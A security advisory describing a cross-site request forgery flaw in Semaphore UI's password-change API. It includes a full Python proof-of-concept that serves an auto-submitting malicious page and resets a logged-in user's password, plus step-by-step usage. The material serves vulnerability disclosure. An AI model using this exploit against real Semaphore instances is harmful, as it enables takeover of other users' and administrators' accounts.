OSV 1.4.0 · github-reviewed · 修改于 2026-09-04 03:23
发布时间
2026-09-04 03:23
GitHub 审查时间
2026-09-04 03:23
NVD 发布时间
2026-08-13 00:17
源文件
advisories/github-reviewed/2026/09/GHSA-8cj9-r88m-8945/GHSA-8cj9-r88m-8945.json
The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.
The password change endpoint of Semaphore UI does not implement any CSRF protection:
semaphore) with no SameSite enforcementA malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users/<id>/password forms.
To reproduce the exploit, you can use the following python script:
import logging
import argparse
import time
import sys
import os
from http.server import SimpleHTTPRequestHandler, HTTPServer
logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')
def forge_malicious_page(target, user_id, newpassword):
return f"""
<html>
<body>
<form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">
<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
</body>
</html>
""";
parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri", help="Base uri to target", required=True)
parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port", help="Port to run server", default=1337)
args = parser.parse_args()
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
(self.client_address[0], self.command, self.path,
self.path.split('?')[1] if '?' in self.path else 'None'))
content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))
httpd.serve_forever()
Example :
python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337
1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.
2 - Connect to semaphore UI in another tab with the targeted user.
3 - In the same browser, visit the malicious website (ex: localhost:1337).
4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.
This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.